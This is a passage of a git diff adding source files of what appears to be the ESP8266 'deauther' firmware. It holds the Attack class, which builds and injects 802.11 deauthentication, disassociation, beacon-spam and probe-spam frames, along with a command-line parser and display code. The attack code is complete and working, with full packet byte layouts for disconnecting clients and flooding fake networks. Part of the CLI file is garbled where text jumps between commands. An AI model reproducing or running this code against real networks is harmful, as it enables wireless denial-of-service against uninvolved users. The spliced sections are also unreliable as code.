= 0; + prntln(A_STOP); + } +} + +bool Attack::isRunning() { + return running; +} + +void Attack::updateCounter() { + // stop when timeout is active and time is up + if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) { + prntln(A_TIMEOUT); + stop(); + return; + } + + // deauth packets per second + if (deauth.active) { + if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() * + (accesspoints.count() + stations.count() * 2 - names.selected()); + else deauth.maxPkts = settings.getDeauthsPerTarget() * + (accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations()); + } else { + deauth.maxPkts = 0; + } + + // beacon packets per second + if (beacon.active) { + beacon.maxPkts = ssids.count(); + + if (!settings.getBeaconInterval()) beacon.maxPkts *= 10; + } else { + beacon.maxPkts = 0; + } + + // probe packets per second + if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID(); + else probe.maxPkts = 0; + + // random transmission power + if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21)); + else setOutputPower(20.5f); + + // reset counters + deauthPkts = deauth.packetCounter; + beaconPkts = beacon.packetCounter; + probePkts = probe.packetCounter; + packetRate = tmpPacketRate; + deauth.packetCounter = 0; + beacon.packetCounter = 0; + probe.packetCounter = 0; + deauth.tc = 0; + beacon.tc = 0; + probe.tc = 0; + tmpPacketRate = 0; +} + +void Attack::status() { + char s[120]; + + sprintf(s, str( + A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, + probe.maxPkts); + prnt(String(s)); +} + +String Attack::getStatusJSON() { + String json = String(OPEN_BRACKET); // [ + + json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( + beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( + probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(packetRate); // 0 + json += CLOSE_BRACKET; // ] + + return json; +} + +void Attack::update() { + if (!running || scan.isScanning()) return; + + apCount = accesspoints.count(); + stCount = stations.count(); + nCount = names.count(); + + // run/update all attacks + deauthUpdate(); + deauthAllUpdate(); + beaconUpdate(); + probeUpdate(); + + // each second + if (currentTime - attackTime > 1000) { + attackTime = currentTime; // update time + updateCounter(); + + if (output) status(); // status update + getRandomMac(mac); // generate new random mac + } +} + +void Attack::deauthUpdate() { + if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { + if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { + // APs + if ((apCount > 0) && (deauth.tc < apCount)) { + if (accesspoints.getSelected(deauth.tc)) { + deauth.tc += deauthAP(deauth.tc); + } else deauth.tc++; + } + + // Stations + else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { + if (stations.getSelected(deauth.tc - apCount)) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else deauth.tc++; + } + + // Names + else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) { + if (names.getSelected(deauth.tc - stCount - apCount)) { + deauth.tc += deauthName(deauth.tc - stCount - apCount); + } else deauth.tc++; + } + + // reset counter + if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; + } + } +} + +void Attack::deauthAllUpdate() { + if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { + if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { + // APs + if ((apCount > 0) && (deauth.tc < apCount)) { + tmpID = names.findID(accesspoints.getMac(deauth.tc)); + + if (tmpID < 0) { + deauth.tc += deauthAP(deauth.tc); + } else if (!names.getSelected(tmpID)) { + deauth.tc += deauthAP(deauth.tc); + } else deauth.tc++; + } + + // Stations + else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { + tmpID = names.findID(stations.getMac(deauth.tc - apCount)); + + if (tmpID < 0) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else if (!names.getSelected(tmpID)) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else deauth.tc++; + } + + // Names + else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) { + if (!names.getSelected(deauth.tc - apCount - stCount)) { + deauth.tc += deauthName(deauth.tc - apCount - stCount); + } else deauth.tc++; + } + + // reset counter + if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; + } + } +} + +void Attack::probeUpdate() { + if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) { + if (probe.time <= currentTime - (1000 / probe.maxPkts)) { + if (settings.getBeaconChannel()) setWifiChannel(probe.tc % 11); + probe.tc += sendProbe(probe.tc); + + if (probe.tc >= ssids.count()) probe.tc = 0; + } + } +} + +void Attack::beaconUpdate() { + if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) { + if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) { + beacon.tc += sendBeacon(beacon.tc); + + if (beacon.tc >= ssids.count()) beacon.tc = 0; + } + } +} + +bool Attack::deauthStation(int num) { + return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num)); +} + +bool Attack::deauthAP(int num) { + return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num)); +} + +bool Attack::deauthName(int num) { + if (names.isStation(num)) { + return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num)); + } else { + return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num)); + } +} + +bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) { + if (!stMac) return false; // exit when station mac is null + + // Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging + + bool success = false; + + // build deauth packet + packetSize = sizeof(deauthPacket); + memcpy(&deauthPacket[4], stMac, 6); + memcpy(&deauthPacket[10], apMac, 6); + memcpy(&deauthPacket[16], apMac, 6); + deauthPacket[24] = reason; + + // send deauth frame + deauthPacket[0] = 0xc0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + + // send disassociate frame + deauthPacket[0] = 0xa0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + + // send another packet, this time from the station to the accesspoint + if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast + // build deauth packet + memcpy(&deauthPacket[4], apMac, 6); + memcpy(&deauthPacket[10], stMac, 6); + memcpy(&deauthPacket[16], stMac, 6); + + // send deauth frame + deauthPacket[0] = 0xc0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + + // send disassociate frame + deauthPacket[0] = 0xa0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + } + + if (success) deauth.time = currentTime; + + return success; +} + +bool Attack::sendBeacon(uint8_t tc) { + if (settings.getBeaconChannel()) setWifiChannel(tc % 11); + mac[5] = tc; + return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc)); +} + +bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) { + packetSize = sizeof(beaconPacket); + + if (wpa2) { + beaconPacket[34] = 0x31; + } else { + beaconPacket[34] = 0x21; + packetSize -= 26; + } + + int ssidLen = strlen(ssid); + + if (ssidLen > 32) ssidLen = 32; + + memcpy(&beaconPacket[10], mac, 6); + memcpy(&beaconPacket[16], mac, 6); + memcpy(&beaconPacket[38], ssid, ssidLen); + + beaconPacket[82] = ch; + + // ===== + uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size + uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer + memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer + tmpPacket[37] = ssidLen; // update SSID length byte + memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer + + if (sendPacket(tmpPacket, tmpPacketSize, ch, settings.getForcePackets())) { + beacon.time = currentTime; + beacon.packetCounter++; + delete tmpPacket; // free memory of allocated buffer + return true; + } else { + delete tmpPacket; // free memory of allocated buffer + return false; + } + // ===== +} + +bool Attack::sendProbe(uint8_t tc) { + if (settings.getBeaconChannel()) setWifiChannel(tc % 11); + mac[5] = tc; + return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel); +} + +bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) { + packetSize = sizeof(probePacket); + int ssidLen = strlen(ssid); + + if (ssidLen > 32) ssidLen = 32; + + memcpy(&probePacket[10], mac, 6); + memcpy(&probePacket[26], ssid, ssidLen); + + if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) { + probe.time = currentTime; + probe.packetCounter++; + return true; + } + + return false; +} + +bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) { + // Serial.println(bytesToStr(packet, packetSize)); + + // set channel + setWifiChannel(ch); + + // sent out packet + bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; + + // try again until it's sent out + for (int i = 0; i < tries && !sent; i++) sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; + + if (sent) tmpPacketRate++; + + return sent; +} + +void Attack::enableOutput() { + output = true; + prntln(A_ENABLED_OUTPUT); +} + +void Attack::disableOutput() { + output = false; + prntln(A_DISABLED_OUTPUT); +} + +uint32_t Attack::getDeauthPkts() { + return deauthPkts; +} + +uint32_t Attack::getBeaconPkts() { + return beaconPkts; +} + +uint32_t Attack::getProbePkts() { + return probePkts; +} + +uint32_t Attack::getDeauthMaxPkts() { + return deauth.maxPkts; +} + +uint32_t Attack::getBeaconMaxPkts() { + return beacon.maxPkts; +} + +uint32_t Attack::getProbeMaxPkts() { + return probe.maxPkts; +} + +uint32_t Attack::getPacketRate() { + return packetRate; +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.h b/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.h new file mode 100755 index 0000000..c6858e5 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.h @@ -0,0 +1,207 @@ +#ifndef Attack_h +#define Attack_h + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "Accesspoints.h" +#include "Stations.h" +#include "SSIDs.h" +#include "Settings.h" +#include "Scan.h" + +extern Settings settings; +extern SSIDs ssids; +extern Accesspoints accesspoints; +extern Stations stations; +extern Scan scan; + +extern uint8_t wifi_channel; +extern uint8_t broadcast[6]; +extern uint32_t currentTime; + +extern bool macBroadcast(uint8_t* mac); +extern void getRandomMac(uint8_t* mac); +extern void setOutputPower(float dBm); +extern String macToStr(uint8_t* mac); +extern String bytesToStr(uint8_t* b, uint32_t size); +extern void setWifiChannel(uint8_t ch); +extern bool writeFile(String path, String& buf); +extern int8_t free80211_send(uint8_t* buffer, uint16_t len); + +class Attack { + public: + Attack(); + + void start(); + void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout); + void stop(); + void update(); + + void enableOutput(); + void disableOutput(); + void status(); + String getStatusJSON(); + + bool deauthAP(int num); + bool deauthStation(int num); + bool deauthName(int num); + bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch); + + bool sendBeacon(uint8_t tc); + bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2); + + bool sendProbe(uint8_t tc); + bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch); + + bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries); + + bool isRunning(); + + uint32_t getDeauthPkts(); + uint32_t getBeaconPkts(); + uint32_t getProbePkts(); + uint32_t getDeauthMaxPkts(); + uint32_t getBeaconMaxPkts(); + uint32_t getProbeMaxPkts(); + + uint32_t getPacketRate(); + + private: + void deauthUpdate(); + void deauthAllUpdate(); + void beaconUpdate(); + void probeUpdate(); + + void updateCounter(); + + bool running = false; + bool output = true; + + struct AttackType { + bool active = false; // if attack is activated + uint16_t packetCounter = 0; // how many packets are sent per second + uint16_t maxPkts = 0; // how many packets should be sent per second + uint8_t tc = 0; // target counter, i.e. which AP or SSID + uint32_t time = 0; // time last packet was sent + }; + + AttackType deauth; + AttackType beacon; + AttackType probe; + bool deauthAll = false; + + uint32_t deauthPkts = 0; + uint32_t beaconPkts = 0; + uint32_t probePkts = 0; + + uint32_t tmpPacketRate = 0; + uint32_t packetRate = 0; + + uint8_t apCount = 0; + uint8_t stCount = 0; + uint8_t nCount = 0; + + int8_t tmpID = -1; + + uint16_t packetSize = 0; + uint32_t attackTime = 0; // for counting how many packets per second + uint32_t attackStartTime = 0; + uint32_t timeout = 0; + + // random mac address for making the beacon packets + uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 }; + + uint8_t deauthPacket[26] = { + /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate) + /* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that) + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target) + /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap) + /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap) + /* 22 - 23 */ 0x00, 0x00, // fragment & squence number + /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason) + }; + + uint8_t probePacket[68] = { + /* 0 - 1 */ 0x40, 0x00, // Type: Probe Request + /* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds + /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast + /* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC + /* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast + /* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK) + /* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 + /* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + /* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8 + /* 60 */ 0x82, // 1(B) + /* 61 */ 0x84, // 2(B) + /* 62 */ 0x8b, // 5.5(B) + /* 63 */ 0x96, // 11(B) + /* 64 */ 0x24, // 18 + /* 65 */ 0x30, // 24 + /* 66 */ 0x48, // 36 + /* 67 */ 0x6c // 54 + }; + + uint8_t beaconPacket[109] = { + /* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast + /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + + // Fixed parameters + /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK) + /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp + /* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s + /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation + + // Tagged parameters + + // SSID parameters + /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 + /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, // SSID + + // Supported Rates + /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8 + /* 72 */ 0x82, // 1(B) + /* 73 */ 0x84, // 2(B) + /* 74 */ 0x8b, // 5.5(B) + /* 75 */ 0x96, // 11(B) + /* 76 */ 0x24, // 18 + /* 77 */ 0x30, // 24 + /* 78 */ 0x48, // 36 + /* 79 */ 0x6c, // 54 + + // Current Channel + /* 80 - 81 */ 0x03, 0x01, // Channel set, length + /* 82 */ 0x01, // Current Channel + + // RSN information + /* 83 - 84 */ 0x30, 0x18, + /* 85 - 86 */ 0x01, 0x00, + /* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02, + /* 91 - 92 */ 0x02, 0x00, + /* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/ + /* 101 - 102 */ 0x01, 0x00, + /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02, + /* 107 - 108 */ 0x00, 0x00 + }; +}; + +#endif // ifndef Attack_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/CLI.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/CLI.cpp new file mode 100755 index 0000000..d32a5ae --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/CLI.cpp @@ -0,0 +1,1173 @@ +#include "CLI.h" + +/* + Shitty code used less resources so I will keep this clusterfuck as it is, + but if you're interested I made a library for this: github.com/spacehuhn/SimpleCLI + */ + +CLI::CLI() { + list = new SimpleList; + queue = new SimpleList; +} + +CLI::~CLI() {} + +void CLI::load() { + String defaultValue = str(CLI_DEFAULT_AUTOSTART); + checkFile(execPath, defaultValue); + execFile(execPath); +} + +void CLI::load(String filepath) { + execPath = filepath; + load(); +} + +void CLI::enable() { + enabled = true; + prntln(CLI_SERIAL_ENABLED); +} + +void CLI::disable() { + enabled = true; + prntln(CLI_SERIAL_DISABLED); +} + +void CLI::update() { + // when serial available, read input + if (Serial.available() > 0) { + String input = Serial.readStringUntil('\n'); + exec(input); + } + + // when queue is not empty, delay is off and no scan is active, run it + else if ((queue->size() > 0) && !delayed && !scan.isScanning() && !attack.isRunning()) { + String s = queue->shift(); + exec(s); + } +} + +void CLI::stop() { + queue->clear(); + prntln(CLI_STOPPED_SCRIPT); +} + +void CLI::enableDelay(uint32_t delayTime) { + delayed = true; + this->delayTime = delayTime; + delayStartTime = millis(); +} + +void CLI::exec(String input) { + // quick exit when input is empty + if (input.length() == 0) return; + + // check delay + if (delayed && (millis() - delayStartTime > delayTime)) { + delayed = false; + prntln(CLI_RESUMED); + } + + // when delay is on, add it to queue, else run it + if (delayed) { + queue->add(input); + } else { + runLine(input); + } +} + +void CLI::execFile(String path) { + String input; + + if (readFile(path, input)) { + String tmpLine; + char tmpChar; + + input += '\n'; + + while (!queue->isEmpty()) { + input += queue->shift(); + input += '\n'; + } + + for (int i = 0; i < input.length(); i++) { + tmpChar = input.charAt(i); + + if (tmpChar == '\n') { + queue->add(tmpLine); + tmpLine = String(); + } else { + tmpLine += tmpChar; + } + } + + queue->add(tmpLine); + } +} + +void CLI::error(String message) { + prnt(CLI_ERROR); + prntln(message); +} + +void CLI::parameterError(String parameter) { + prnt(CLI_ERROR_PARAMETER); + prnt(parameter); + prntln(DOUBLEQUOTES); +} + +bool CLI::isInt(String str) { + if (eqls(str, STR_TRUE) || eqls(str, STR_FALSE)) return true; + + for (uint32_t i = 0; i < str.length(); i++) + if (!isDigit(str.charAt(i))) return false; + + return true; +} + +int CLI::toInt(String str) { + if (eqls(str, STR_TRUE)) return 1; + else if (eqls(str, STR_FALSE)) return 0; + else return str.toInt(); +} + +uint32_t CLI::getTime(String time) { + int value = time.toInt(); + + if (value < 0) value = -value; + + if (time.substring(time.length() - 1).equalsIgnoreCase(String(S))) value *= 1000; + else if (time.substring(time.length() - 3).equalsIgnoreCase(str(STR_MIN)) || + (time.charAt(time.length() - 1) == M)) value *= 60000; + return value; +} + +bool CLI::eqlsCMD(int i, const char* keyword) { + return eqls(list->get(i).c_str(), keyword); +} + +void CLI::runLine(String input) { + String tmp; + + for (int i = 0; i < input.length(); i++) { + // when 2 semicolons in a row without a backslash escaping the first + if ((input.charAt(i) == SEMICOLON) && (input.charAt(i + 1) == SEMICOLON) && + (input.charAt(i - 1) != BACKSLASH)) { + runCommand(tmp); + tmp = String(); + i++; + } else { + tmp += input.charAt(i); + } + } + + tmp.replace(BACKSLASH + SEMICOLON + SEMICOLON, SEMICOLON + SEMICOLON); + + if (tmp.length() > 0) runCommand(tmp); +} + +void CLI::runCommand(String input) { + input.replace(String(NEWLINE), String()); + input.replace(String(CARRIAGERETURN), String()); + + list->clear(); + + // parse/split input in list + String tmp; + bool withinQuotes = false; + bool escaped = false; + char c; + + for (uint32_t i = 0; i < input.length() && i < 512; i++) { + c = input.charAt(i); + + // when char is an unescaped + if (!escaped && (c == BACKSLASH)) { + escaped = true; + } + + // (when char is a unescaped space AND it's not within quotes) OR char is \r or \n + else if (((c == SPACE) && !escaped && !withinQuotes) || (c == CARRIAGERETURN) || (c == NEWLINE)) { + // when tmp string isn't empty, add it to the list + if (tmp.length() > 0) { + list->add(tmp); + tmp = String(); // reset tmp string + } + } + + // when char is an unescaped " + else if ((c == DOUBLEQUOTES) && !escaped) { + // update wheter or not the following chars are within quotes or not + withinQuotes = !withinQuotes; + + if ((tmp.length() == 0) && !withinQuotes) tmp += SPACE; // when exiting quotes and tmp string is empty, add + // a space + } + + // add character to tmp string + else { + tmp += c; + escaped = false; + } + } + + // add string if something is left from the loop above + if (tmp.length() > 0) list->add(tmp); + + // stop when input is empty/invalid + if (list->size() == 0) return; + + // print comments + if (list->get(0) == str(CLI_COMMENT)) { + prntln(input); + return; + } + + if (settings.getSerialEcho()) { + // print command + prnt(CLI_INPUT_PREFIX); + prntln(input); + } + + if (list->size() == 0) return; + + // ===== HELP ===== // + if (eqlsCMD(0, CLI_HELP)) { + prntln(CLI_HELP_HEADER); + + prntln(CLI_HELP_HELP); + prntln(CLI_HELP_SCAN); + prntln(CLI_HELP_SHOW); + prntln(CLI_HELP_SELECT); + prntln(CLI_HELP_DESELECT); + prntln(CLI_HELP_SSID_A); + prntln(CLI_HELP_SSID_B); + prntln(CLI_HELP_SSID_C); + prntln(CLI_HELP_NAME_A); + prntln(CLI_HELP_NAME_B); + prntln(CLI_HELP_NAME_C); + prntln(CLI_HELP_SET_NAME); + prntln(CLI_HELP_ENABLE_RANDOM); + prntln(CLI_HELP_DISABLE_RANDOM); + prntln(CLI_HELP_LOAD); + prntln(CLI_HELP_SAVE); + prntln(CLI_HELP_REMOVE_A); + prntln(CLI_HELP_REMOVE_B); + prntln(CLI_HELP_ATTACK); + prntln(CLI_HELP_ATTACK_STATUS); + prntln(CLI_HELP_STOP); + prntln(CLI_HELP_SYSINFO); + prntln(CLI_HELP_CLEAR); + prntln(CLI_HELP_FORMAT); + prntln(CLI_HELP_PRINT); + prntln(CLI_HELP_DELETE); + prntln(CLI_HELP_REPLACE); + prntln(CLI_HELP_COPY); + prntln(CLI_HELP_RENAME); + prntln(CLI_HELP_RUN); + prntln(CLI_HELP_WRITE); + prntln(CLI_HELP_GET); + prntln(CLI_HELP_SET); + prntln(CLI_HELP_RESET); + prntln(CLI_HELP_CHICKEN); + prntln(CLI_HELP_REBOOT); + prntln(CLI_HELP_INFO); + prntln(CLI_HELP_COMMENT); + prntln(CLI_HELP_SEND_DEAUTH); + prntln(CLI_HELP_SEND_BEACON); + prntln(CLI_HELP_SEND_PROBE); + prntln(CLI_HELP_LED_A); + prntln(CLI_HELP_LED_B); + prntln(CLI_HELP_LED_ENABLE); + prntln(CLI_HELP_DRAW); + prntln(CLI_HELP_SCREEN_ON); + prntln(CLI_HELP_SCREEN_MODE); + + prntln(CLI_HELP_FOOTER); + } + + // ===== SCAN ===== // + // scan [] [-t + else if (eqlsCMD(0, CLI_SCREEN) && eqlsCMD(1, CLI_MODE)) { + if (eqlsCMD(2, CLI_MODE_BUTTONTEST)) displayUI.mode = displayUI.DISPLAY_MODE::BUTTON_TEST; + else if (eqlsCMD(2, CLI_MODE_PACKETMONITOR)) displayUI.mode = displayUI.DISPLAY_MODE::PACKETMONITOR; + else if (eqlsCMD(2, CLI_MODE_LOADINGSCREEN)) displayUI.mode = displayUI.DISPLAY_MODE::LOADSCAN; + else if (eqlsCMD(2, CLI_MODE_MENU)) displayUI.mode = displayUI.DISPLAY_MODE::MENU; + else parameterError(list->get(2)); + prntln(CLI_CHANGED_SCREEN); + } + + // screen + else if (eqlsCMD(0, CLI_SCREEN) && (eqlsCMD(1, CLI_ON) || eqlsCMD(1, CLI_OFF))) { + if (eqlsCMD(1, CLI_ON)) { + displayUI.on(); + } else if (eqlsCMD(1, CLI_OFF)) { + displayUI.off(); + } + } + + // ===== NOT FOUND ===== // + else { + prnt(CLI_ERROR_NOT_FOUND_A); + prnt(input); + prntln(CLI_ERROR_NOT_FOUND_B); + // some debug stuff + + /* + Serial.println(list->get(0)); + for(int i=0;i +#include +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "A_config.h" +#include "SimpleList.h" +#include "Settings.h" +#include "Names.h" +#include "SSIDs.h" +#include "Scan.h" +#include "Attack.h" +#include "DisplayUI.h" +#include "LED.h" + +extern LED led; +extern Settings settings; +extern Names names; +extern SSIDs ssids; +extern Accesspoints accesspoints; +extern Stations stations; +extern Scan scan; +extern Attack attack; +extern DisplayUI displayUI; +extern uint32_t currentTime; +extern uint32_t autosaveTime; + +extern String macToStr(uint8_t* mac); +extern void strToColor(String str, uint8_t* buf); +extern void readFileToSerial(String path, bool showLineNum); +extern bool readFile(String path, String& buf); +extern bool removeFile(String path); +extern bool copyFile(String pathFrom, String pathTo); +extern bool renameFile(String pathFrom, String pathTo); +extern bool appendFile(String path, String& buf); +extern bool removeLines(String path, int lineFrom, int lineTo); +extern bool replaceLine(String path, int line, String& buf); +extern bool equalsKeyword(const char* str, const char* keyword); +extern void printWifiStatus(); +extern void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal); +extern void wifiUpdate(); + +class CLI { + public: + CLI(); + ~CLI(); + + void load(); + void load(String filepath); + + void enable(); + void disable(); + + void update(); + void stop(); + + void enableDelay(uint32_t delayTime); + + void exec(String input); + void execFile(String path); + void runLine(String input); + void runCommand(String input); + + private: + bool enabled = false; + + SimpleList* list; + SimpleList* queue; + + bool delayed = false; + uint32_t delayTime = 0; + uint32_t delayStartTime = 0; + + String execPath = "/autostart.txt"; + + struct Keyword { + const char* name; + const char* shortName; + const char* alt; + }; + + void error(String message); + void parameterError(String parameter); + bool isInt(String str); + int toInt(String str); + uint32_t getTime(String time); + bool eqlsCMD(int i, const char* keyword); +}; + +#endif // ifndef CLI_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.cpp new file mode 100755 index 0000000..ad64339 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/DisplayUI.cpp @@ -0,0 +1,893 @@ +#include "DisplayUI.h" + +// ===== adjustable ===== // +void DisplayUI::configInit() { + // initialize display + display.init(); + + /* + In case of a compiler (conversion char/uint8_t) error, + make sure to have version 4 of the display library installed + https://github.com/ThingPulse/esp8266-oled-ssd1306/releases/tag/4.0.0 + */ + display.setFont(DejaVu_Sans_Mono_12); + + display.setContrast(255); + +#ifndef FLIP_DIPLAY + display.flipScreenVertically(); +#endif // ifndef FLIP_DIPLAY + + display.clear(); + display.display(); +} + +void DisplayUI::configOn() { + display.displayOn(); +} + +void DisplayUI::configOff() { + display.displayOff(); +} + +void DisplayUI::updatePrefix() { + display.clear(); +} + +void DisplayUI::updateSuffix() { + display.display(); +} + +void DisplayUI::drawString(int x, int y, String str) { + display.drawString(x, y, replaceUtf8(str, String(QUESTIONMARK))); +} + +void DisplayUI::drawString(int row, String str) { + drawString(0, row * lineHeight, str); +} + +void DisplayUI::drawLine(int x1, int y1, int x2, int y2) { + display.drawLine(x1, y1, x2, y2); +} + +// ====================== // + + +DisplayUI::DisplayUI() {} + +DisplayUI::~DisplayUI() {} + + +void DisplayUI::setup() { + configInit(); + setupButtons(); + buttonTime = currentTime; + + clockHour = random(12); + clockMinute = random(60); + + // ===== MENUS ===== // + + // MAIN MENU + createMenu(&mainMenu, NULL, [this]() { + addMenuNode(&mainMenu, D_SCAN, &scanMenu); /// SCAN + addMenuNode(&mainMenu, D_SHOW, &showMenu); // SHOW + addMenuNode(&mainMenu, D_ATTACK, &attackMenu); // ATTACK + addMenuNode(&mainMenu, D_PACKET_MONITOR, [this]() { // PACKET 